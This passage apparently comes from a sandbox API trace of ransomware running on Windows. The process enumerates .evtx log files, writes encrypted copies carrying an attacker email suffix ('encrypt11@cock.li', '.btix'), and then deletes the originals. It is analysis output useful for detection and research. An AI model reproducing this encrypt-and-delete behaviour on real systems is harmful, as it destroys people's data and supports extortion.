(lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.260] lstrlenW (lpString=".1cd") returned 4 [0050.261] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString=".jpg") returned 4 [0050.261] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString=".doc") returned 4 [0050.261] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString=".docx") returned 5 [0050.261] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.261] lstrlenW (lpString=".pdf") returned 4 [0050.261] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString=".xls") returned 4 [0050.261] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString=".xlsx") returned 5 [0050.261] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.261] lstrlenW (lpString=".ppt") returned 4 [0050.261] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString=".zip") returned 4 [0050.261] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString=".rar") returned 4 [0050.261] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString=".bz2") returned 4 [0050.261] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString=".7z") returned 3 [0050.261] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString=".dbf") returned 4 [0050.261] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString=".1cd") returned 4 [0050.261] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.261] lstrlenW (lpString=".jpg") returned 4 [0050.262] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.262] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.262] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0050.262] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.262] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0050.262] CloseHandle (hObject=0x364) returned 1 [0050.262] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0050.262] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.262] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.262] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.262] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.262] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.350] GetLastError () returned 0x0 [0050.350] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.375] WriteFile (in: hFile=0x390, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.376] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.376] WriteFile (in: hFile=0x390, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x144, lpOverlapped=0x0) returned 1 [0050.376] SetEndOfFile (hFile=0x390) returned 1 [0050.377] CloseHandle (hObject=0x390) returned 1 [0050.466] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.466] SetEndOfFile (hFile=0x364) returned 1 [0050.467] CloseHandle (hObject=0x364) returned 1 [0050.467] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.467] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0050.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.467] lstrlenW (lpString=".doc") returned 4 [0050.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.467] lstrlenW (lpString=".docx") returned 5 [0050.467] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.467] lstrlenW (lpString=".pdf") returned 4 [0050.467] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.467] lstrlenW (lpString=".xls") returned 4 [0050.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.467] lstrlenW (lpString=".xlsx") returned 5 [0050.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.467] lstrlenW (lpString=".ppt") returned 4 [0050.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString=".zip") returned 4 [0050.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".rar") returned 4 [0050.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".bz2") returned 4 [0050.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".7z") returned 3 [0050.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString=".dbf") returned 4 [0050.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString=".1cd") returned 4 [0050.468] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString=".jpg") returned 4 [0050.468] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString=".doc") returned 4 [0050.468] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".docx") returned 5 [0050.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.468] lstrlenW (lpString=".pdf") returned 4 [0050.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".xls") returned 4 [0050.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".xlsx") returned 5 [0050.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.468] lstrlenW (lpString=".ppt") returned 4 [0050.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.468] lstrlenW (lpString=".zip") returned 4 [0050.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.468] lstrlenW (lpString=".rar") returned 4 [0050.469] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.469] lstrlenW (lpString=".bz2") returned 4 [0050.469] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.469] lstrlenW (lpString=".7z") returned 3 [0050.469] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.469] lstrlenW (lpString=".dbf") returned 4 [0050.469] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.469] lstrlenW (lpString=".1cd") returned 4 [0050.469] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0050.469] lstrlenW (lpString=".jpg") returned 4 [0050.469] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.469] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.469] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0050.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.469] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0050.469] CloseHandle (hObject=0x364) returned 1 [0050.469] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0050.469] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.470] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.470] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0050.470] GetLastError () returned 0x0 [0050.470] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.504] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.506] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.506] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x13a, lpOverlapped=0x0) returned 1 [0050.506] SetEndOfFile (hFile=0x308) returned 1 [0050.506] CloseHandle (hObject=0x308) returned 1 [0050.508] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.508] SetEndOfFile (hFile=0x364) returned 1 [0050.509] CloseHandle (hObject=0x364) returned 1 [0050.509] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.509] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0050.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.657] lstrlenW (lpString=".doc") returned 4 [0050.657] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.657] lstrlenW (lpString=".docx") returned 5 [0050.657] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.657] lstrlenW (lpString=".pdf") returned 4 [0050.658] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString=".xls") returned 4 [0050.658] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString=".xlsx") returned 5 [0050.658] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.658] lstrlenW (lpString=".ppt") returned 4 [0050.658] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.658] lstrlenW (lpString=".zip") returned 4 [0050.658] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString=".rar") returned 4 [0050.658] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString=".bz2") returned 4 [0050.658] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString=".7z") returned 3 [0050.658] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.658] lstrlenW (lpString=".dbf") returned 4 [0050.658] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.658] lstrlenW (lpString=".1cd") returned 4 [0050.658] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.658] lstrlenW (lpString=".jpg") returned 4 [0050.658] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.658] lstrlenW (lpString=".doc") returned 4 [0050.658] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.658] lstrlenW (lpString=".docx") returned 5 [0050.658] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.658] lstrlenW (lpString=".pdf") returned 4 [0050.659] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString=".xls") returned 4 [0050.659] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString=".xlsx") returned 5 [0050.659] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.659] lstrlenW (lpString=".ppt") returned 4 [0050.659] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.659] lstrlenW (lpString=".zip") returned 4 [0050.659] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString=".rar") returned 4 [0050.659] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString=".bz2") returned 4 [0050.659] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString=".7z") returned 3 [0050.659] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.659] lstrlenW (lpString=".dbf") returned 4 [0050.659] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.659] lstrlenW (lpString=".1cd") returned 4 [0050.659] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0050.659] lstrlenW (lpString=".jpg") returned 4 [0050.659] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.659] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.659] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0050.659] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.669] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0050.670] CloseHandle (hObject=0x320) returned 1 [0050.670] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0050.670] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.670] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.670] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.670] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.670] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0050.670] GetLastError () returned 0x0 [0050.670] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.204] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.206] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.206] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x132, lpOverlapped=0x0) returned 1 [0051.206] SetEndOfFile (hFile=0x2e0) returned 1 [0051.206] CloseHandle (hObject=0x2e0) returned 1 [0051.207] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.208] SetEndOfFile (hFile=0x320) returned 1 [0051.209] CloseHandle (hObject=0x320) returned 1 [0051.209] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.209] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0051.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.209] lstrlenW (lpString=".doc") returned 4 [0051.209] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.209] lstrlenW (lpString=".docx") returned 5 [0051.209] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.209] lstrlenW (lpString=".pdf") returned 4 [0051.209] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.209] lstrlenW (lpString=".xls") returned 4 [0051.209] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.209] lstrlenW (lpString=".xlsx") returned 5 [0051.209] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.209] lstrlenW (lpString=".ppt") returned 4 [0051.209] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.210] lstrlenW (lpString=".zip") returned 4 [0051.210] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString=".rar") returned 4 [0051.210] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString=".bz2") returned 4 [0051.210] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString=".7z") returned 3 [0051.210] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.210] lstrlenW (lpString=".dbf") returned 4 [0051.210] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.210] lstrlenW (lpString=".1cd") returned 4 [0051.210] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.210] lstrlenW (lpString=".jpg") returned 4 [0051.210] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.210] lstrlenW (lpString=".doc") returned 4 [0051.210] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString=".docx") returned 5 [0051.210] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.210] lstrlenW (lpString=".pdf") returned 4 [0051.210] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString=".xls") returned 4 [0051.210] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.210] lstrlenW (lpString=".xlsx") returned 5 [0051.210] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.210] lstrlenW (lpString=".ppt") returned 4 [0051.211] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.211] lstrlenW (lpString=".zip") returned 4 [0051.211] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.211] 